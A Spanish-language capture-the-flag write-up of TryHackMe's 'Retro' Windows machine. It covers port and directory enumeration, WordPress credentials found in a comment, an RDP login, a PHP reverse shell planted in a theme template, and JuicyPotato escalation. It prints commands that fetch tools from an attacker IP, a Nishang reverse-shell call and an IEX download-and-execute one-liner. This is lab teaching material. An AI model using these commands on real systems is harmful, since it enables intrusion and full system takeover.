Retro - Try Hack Me

Introducción

En esta maquina vamos a explorar un servidor Windows utilizando técnicas de fuerza bruta para encontrar una ruta que nos lleve a un blog de WordPress. Una vez allí, revisaremos el sitio para encontrar el usuario y la contraseña de acceso al administrador del blog. Utilizando esta información, nos conectaremos al sitio y nos montaremos una reverse shell para obtener acceso al sistema. Finalmente, utilizaremos JuicyPotato para escalar privilegios y obtener un control total del sistema.

Enumeración

Para empezar con la enumeración, siempre lanzo un ping a la maquina objetivo para saber su estado, encendida o no y ademas ver su TTL para saber con que sistema operativo me encuentro

Comando para lanzar el ping

ping -c 1 <IP Victima>

Pero leyendo la informacion de la maquina, nos dice que esta maquina no responde al comando ping, por lo que podria hacer uso de alguna herramienta que me permita ejecutar un ping, entonces haciendo uso de una herramienta que esta en github y se llama Tcp Ping, con ella intentare lanzar un ping a ver que nos dice

El resultado es que si esta activa, asi que pase a usar nmap y hacer un escaneo potente con el siguiente comando.

nmap -p- --open -sS --min-rate 5000 -n -Pn -v -sCV -oN targeted <IP-Objetivo>

Este comando es un escaneo intensivo que busca todos los puertos abiertos en la dirección IP objetivo. Algunos de los parámetros utilizados incluyen:

  • -p- : Escanea todos los puertos
  • –open : Solo muestra los puertos abiertos
  • -sS : Realiza un escaneo TCP SYN
  • -n : Desactiva la resolución de nombres
  • -Pn : Supone que todos los hosts están activos
  • -v : Muestra información detallada
  • -sCV : Realiza un escaneo de detección de versión
  • -oN : Guarda el resultado en un archivo de texto

Despues de la enumeración realizada vi que hay dos puertos abiertos en esta maquina objetivo y son

  • Puerto 80
  • Puerto 3389

Cuando trabajo con máquinas Windows, suelo agregar una línea en el archivo /etc/hosts que asocia el nombre de la máquina con su dirección IP. Esto puede ser útil para facilitar la identificación y acceso a la máquina en cuestión y mejorar la eficiencia de los procesos de enumeración y explotación.

# Agregar una entrada al archivo /etc/hosts
sudo nano /etc/hosts

# Añadir una línea con la dirección IP y el nombre de la máquina
<IP-Objetivo> <Nombre-de-la-Máquina>

Y ingreso al dominio desde la web.

Me encontre con IIS “Internet Information Services”, un servidor web de Windows por defecto, así que use fuerza bruta de rutas de directorios con la herramienta Go Buster

Comando de Go Buster

gobuster dir -u http://retro.thm -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --no-error

El comando gobuster dir es una herramienta de descubrimiento de directorios que se utiliza para enumerar y descubrir directorios y archivos en un servidor web. La opción -u especifica la URL base a la que se realizará la petición. En este caso, se está utilizando http://retro.thm.

La opción -w especifica un archivo de lista de palabras que se usará como diccionario para la búsqueda de directorios. En este caso, se está utilizando un archivo llamado directory-list-2.3-medium.txt ubicado en /usr/share/SecLists/Discovery/Web-Content/.

La opción -t especifica el número de hilos que se utilizarán para realizar las peticiones. En este caso, se está utilizando un valor de 100 hilos.

La opción --no-error especifica que no se deben mostrar mensajes de error.

El resultado del escaneo es una ruta de acceso encontrada en el servidor del puerto 80.

Ingresé

Hice uso de la herramienta What Web que es la que nos brinda detalles relevantes sobre un sitio web específico.

Pude ver que el servidor esta corriendo Wordpress en la version 5.2.1

Pase a buscar exploits para ese WordPress en searchsploit

Por lo que intenté otro escaneo de gobuster pero incluyendo la ruta /retro y que busque archivos por extension con la opcion -x

Vemos la ruta del panel de inicio de inicio de sesion de wordpress y efectivamente es el panel.

Buscando en la pagina algun posible usuario, encontré uno que resalto y era Wade y siguiendo buscando, encontre 1 comentario a uno de los post y el comentario al final decia parzival

Podemos ver que el usuario existe por este simple error de la version que tiene el wordpress, entonces probé con la palabra parzival que anteriormente vi en el comentario al post de Wade

Y efectivo parzival es la contraseña del usuario Wade en Wordpress.

Recordando que el puerto 3389 estaba abierto pase a probar en el servicio RDP las credenciales de WordPress.

Con el siguiente comando puedo acceder a ese servicio con una interfaz grafica

xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:retro.thm /u:wade /p:'parzival'

Aqui ya pude obtener la primer flag que es user.txt

Escalada de Privilegios

Abri una shell y comence a revisar informacion del sistemas, los usuarios, grupos y permisos que hay con el usuario Wade

Con estos resultados pude ver que el usuario no tiene privilegios para usar algun ataque de escalada de privilegios, tambien vi que estamos en Windows Server 2016 y tambien vi la version del SO.

Por lo que intente probar un ataque con Juicy Potato al privilegio SeImpersonatePrivilege, pero para poder hacer ese ataque tuve que encontrar una cuenta de bajos privilegios que tuviera el privilegio SeImpersonatePrivilege.

Entonces lo que hice fue conseguir una reverse shell en php desde el WordPress de la siguiente manera; Editando una de las plantillas de la pagina, que esta en lenguaje php, por lo que edite la plantilla index.php y borre su contenido y lo que hice despues fue pegar un script de una reverse shell en php.

En ese script se debe cambiar la dirección IP y el puerto, donde queremos obtener la reverse shell, despues de eso, guardamos la plantilla.

Despues de haber cambiado los parametros anteriores y haber guardado la edicion del tema; en una ventana de consola en nuestra maquina, ejecutamos un netcat de escucha

Entonces ya teniendo estos pasos, recargo la pagina inicial del servicio web y reviso el netcat de escucha a ver si ya tenia la reverse shell

De nuevo reviso la informacion de sistema, los usuarios y permisos

Aqui obtuve la reverse shell con otro usuario y es el usuario retro, y este usuario si tiene el privilegio SeImpersonatePrivilege, así que intente un ataque juicy potato en esta shell del usuario retro.

Suelo crearme un directorio temp en la raiz del sistema y poder ahi trabajar de forma organizada

C:\inetpub\wwwroot\retro>cd C:\                                                      

C:\>mkdir temp

C:\>cd temp

C:\temp>

Juicy Potato

Primero, descargue el exploit en su ultima version aquí

Segundo, lo transferí a la maquina objetivo de la siguiente forma.

  • Montando un servidor http desde la ruta del directorio donde se encuentra el exploit descargado.

  • Desde la consola Windows me descargo el archivo con el siguiente comando

    Invoke-WebRequest http://<IP Atacante>/JuicyPotato.exe -OutFile jp.exe

Ejecutamos el exploit para ver si se ejecuta bien.

En este punto necesitaba otro shell inverso que hara que obtengamos una shell SYSTEM de nuestro lado, haciendo uso de esta Shell Inversa de Nishang.

Me la descargue en mi maquina, y luego edite el archivo añadiendo a la ultima linea el siguiente comando:

Invoke-PowerShellTcp -Reverse -IPAddress <IP Atacante> -Port <port>

Ahora lo que hice fue tranferir este archivo a la maquina objetivo

Ya despues de tener eso, necesitaba algo que ejecutara el shell inverso por lo que tuve que crear en mi maquina un archivo .bat con la siguiente intruccion de comandos PowerShell “IEX(New-Object Net.WebClient).downloadString(‘http://<IP>/Invoke-PowerShellTcp.ps1')"

Y luego ese archivo transferirlo a la maquina objetivo.

Tambien puse un netcat en escucha en mi maquina, para cuando lance el JuicyPotato, obtenga la shell SYSTEM

Entonces lance el siguiente comando del exploit para asi generar la shell inversa en nuestra maquina

Y cuando revise el netcat de escucha ya tenia la shell inversa

Aqui ya podemos obtener la flag de root.txt para completar la tarea de TryHackMe